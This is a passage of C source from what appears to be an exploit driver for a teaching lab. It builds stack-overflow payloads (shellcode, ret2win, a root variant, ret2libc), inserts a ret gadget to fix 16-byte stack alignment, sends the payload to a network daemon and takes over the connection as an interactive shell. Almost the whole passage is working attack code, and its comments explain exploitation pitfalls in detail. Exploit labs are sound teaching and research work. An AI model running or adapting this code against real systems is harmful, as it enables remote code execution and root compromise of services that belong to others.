if (strcmp(tech, "shellcode") == 0) build_shellcode(&p, &bi, &lk);
else if (strcmp(tech, "ret2win") == 0) build_ret2win(&p, &bi);
else if (strcmp(tech, "ret2win-root") == 0) build_ret2win_root(&p, &bi);
else if (strcmp(tech, "ret2libc") == 0) build_ret2libc(&p, &bi, &li, &lk);
else if (strcmp(tech, "demo") == 0) build_demo(&p, &bi);
else {
fprintf(stderr, "foosc: unknown technique '%s'\n", tech);
close(fd);
return 2;
}
if (p.len == 0) {
fprintf(stderr, "foosc: payload is empty -- aborting\n");
close(fd);
return 1;
}
if (verbose) {
printf("foosc: payload is %zu bytes; the last 16 are:\n ", p.len);
size_t start = p.len > 16 ? p.len - 16 : 0;
for (size_t i = start; i < p.len; i++)
printf("%02x ", p.data[i]);
printf("\n");
}
/*
* ------------------------------------------------------------------
* STACK ALIGNMENT -- the subtlest bug in this whole lab.
* ------------------------------------------------------------------
* The System V AMD64 ABI requires %rsp to be 16-byte aligned on entry
* to a function. A normal `call`/`ret` pair preserves this for free; a
* hijacked bare `ret` hands the callee %rsp = buf + rip_off, which here
* is 8 mod 16 (buf is 16-aligned by the ABI, rip_off is even but not a
* multiple of 16). glibc is compiled with SSE2, and movaps faults on a
* misaligned operand. The kernel then reports an alignment fault -- with
* NO faulting address, i.e. si_addr == 0 -- which is the tell that the
* crash is not a NULL dereference at all.
*
* FIX: insert one extra `ret` between the padding and the real target.
* A ret adds exactly 8 to %rsp, restoring the invariant. (The shellcode
* technique does not strictly need this -- our payload makes no stack
* alignment assumptions -- but inserting it is harmless and keeps the
* code uniform.)
*
* The `ret` must be INSERTED at rip_off, not appended at the end: an
* appended ret is never reached because the first ret already lands on
* the target. (That was the broken first version of this code.)
* ------------------------------------------------------------------
*/
if (strcmp(tech, "demo") == 0) {
/* demo jumps to a deliberately invalid address; no callee. */
} else if (bi.ret_gadget != 0 && (bi.rip_off % 16) == 8) {
unsigned char *fixed;
size_t head = bi.rip_off;
if (head > p.len) {
fprintf(stderr, "foosc: payload is shorter than rip_off\n");
free(p.data);
close(fd);
return 1;
}
fixed = malloc(p.len + 8);
if (fixed == NULL) {
fprintf(stderr, "foosc: out of memory building alignment fix\n");
free(p.data);
close(fd);
return 1;
}
memcpy(fixed, p.data, head); /* the padding */
memcpy(fixed + head, &bi.ret_gadget, 8); /* the extra `ret` */
memcpy(fixed + head + 8, p.data + head, p.len - head);
free(p.data);
p.data = fixed;
p.cap = p.len + 8;
p.len += 8;
printf("foosc: inserted a `ret` (at %#lx) at offset %lu to restore "
"16-byte alignment\n", bi.ret_gadget, head);
}
/* ---- Phase 4: send it and hand over. ------------------------------ */
printf("foosc: sending %zu bytes (offset to RIP is %lu)\n",
p.len, bi.rip_off);
if (send_all(fd, p.data, p.len) < 0) {
fprintf(stderr, "foosc: send failed: %s\n", strerror(errno));
close(fd);
return 1;
}
free(p.data);
if (!want_shell) {
usleep(400000);
drain_hint(fd);
printf("foosc: done (no shell requested)\n");
close(fd);
return 0;
}
/* The daemon echoes the first 64 bytes of our payload back before it
* returns; swallow that so it does not look like shell output. */
usleep(200000);
drain_hint(fd);
become_shell(fd);
return 0;
}